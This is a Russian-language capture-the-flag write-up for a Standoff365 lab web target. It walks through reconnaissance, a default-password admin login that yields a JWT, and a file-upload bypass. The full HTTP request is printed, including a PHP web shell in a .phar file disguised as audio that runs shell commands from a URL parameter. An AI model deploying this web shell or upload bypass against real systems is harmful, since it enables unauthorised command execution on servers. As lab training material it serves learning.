Платформа : standoff365.com
Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора
Проводим стартовую разведку
Из портов на сайте нет ничего интересного
direcoty через feroxbuster не нашёл ничего интересного
Роботы говорят
Cтоит обратить внимание на следующий файлик.
Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php
Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло
В ответ на этот запрос я получил jwt token
Проверим через сайт начинку токена (site:
Берем нежно наш токен , чтобы пока несли не сломался
и идем в
Пример команды для перебора
Содержимое файла test, было изменено в зависимости от документации
В процессе поиска нашёл вот такую забавную штуку
PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.
- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.
Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива
После получения revshell or url?cmd Забираем их* флаг
P.S
Возможно Заметки/Статьи не будут публиковаться на форуме codeby.net , а вот тут в формате Папки/Архива для приложения
Возможно еще увидимся тут,
Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора
Nmap
Проводим стартовую разведку
Из портов на сайте нет ничего интересного
Код:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1720/tcp open h323q931
direcoty через feroxbuster не нашёл ничего интересного
Код:
http://10.124.1.241/secret/
http://10.124.1.241/index.php
http://10.124.1.241/styles/
http://10.124.1.241/uploads/
http://10.124.1.241/js/
Роботы говорят
Код:
User-agent: *
Disallow: /secret/
Disallow: /core/
Disallow: /uploads/
Bypass redirect via jwt token
через перебор каталогов находим http://10.124.1.241/js/
Cтоит обратить внимание на следующий файлик.
http://10.124.1.241/js/auth.js
Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php
Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло
Код:
POST /core/userLogin.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: pma_lang=en;
Upgrade-Insecure-Requests: 1
Content-Length: 53
{
"username": "admin",
"password":"123456"
}
В ответ на этот запрос я получил jwt token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.fFS_sVBsE1Xgby-9edtjByHPkq-AAmeZ_rfV5SzIKXU
Проверим через сайт начинку токена (site:
Ссылка скрыта от гостей
) , увидел что токен Админский значит : нужно его куда-нибудь подставитьБерем нежно наш токен , чтобы пока несли не сломался
и идем в
10.124.1.241/secret
После обхода
мы получили страничку где можем загружать файлы , почему бы нам что нибудь да не загрузить?Роботы на подработке
Решил проверить эффективность следующего инструментаhttps://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file
Пример команды для перебора
python upload_bypass.py -r test -s 'file has been uploaded' -E php -D /uploads --burp_http --exploit
Содержимое файла test, было изменено в зависимости от документации
https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file#example-2
Код:
POST /secret/uploadMusic.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 178827
Origin: http://10.124.1.241
DNT: 1
Connection: keep-alive
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="*filename*"
Content-Type: *mimetype*
*data*
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"
Upload
-----------------------------20454028017691591591771889877--
Руками
В процессе поиска нашёл вот такую забавную штуку
Ссылка скрыта от гостей
PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.
- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.
Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива
Код:
POST /secret/uploadMusic.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 10.124.1.241
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 706
Origin: http://10.124.1.241
DNT: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56dfM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="bob.phar"
Content-Type: audio/mpeg
<?php
$output = null;
$retval = null;
if(isset($_GET['cmd'])) {
// Capture the output and return value of the system command
exec($_GET['cmd'], $output, $retval);
}
// Output the captured output
if(is_array($output)) {
foreach($output as $line) {
echo $line . "\n";
}
}
?>
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"
Upload
-----------------------------20454028017691591591771889877--
После получения revshell or url?cmd Забираем их* флаг
P.S
Возможно Заметки/Статьи не будут публиковаться на форуме codeby.net , а вот тут в формате Папки/Архива для приложения
Ссылка скрыта от гостей
, но на данный момент Архив пуст GitHub - username6345/writeups_for_the_reader: different ctf tasks or something elseВозможно еще увидимся тут,
Ссылка скрыта от гостей
.
Ссылка скрыта от гостей
и нет) не там где вы подумали.
Последнее редактирование: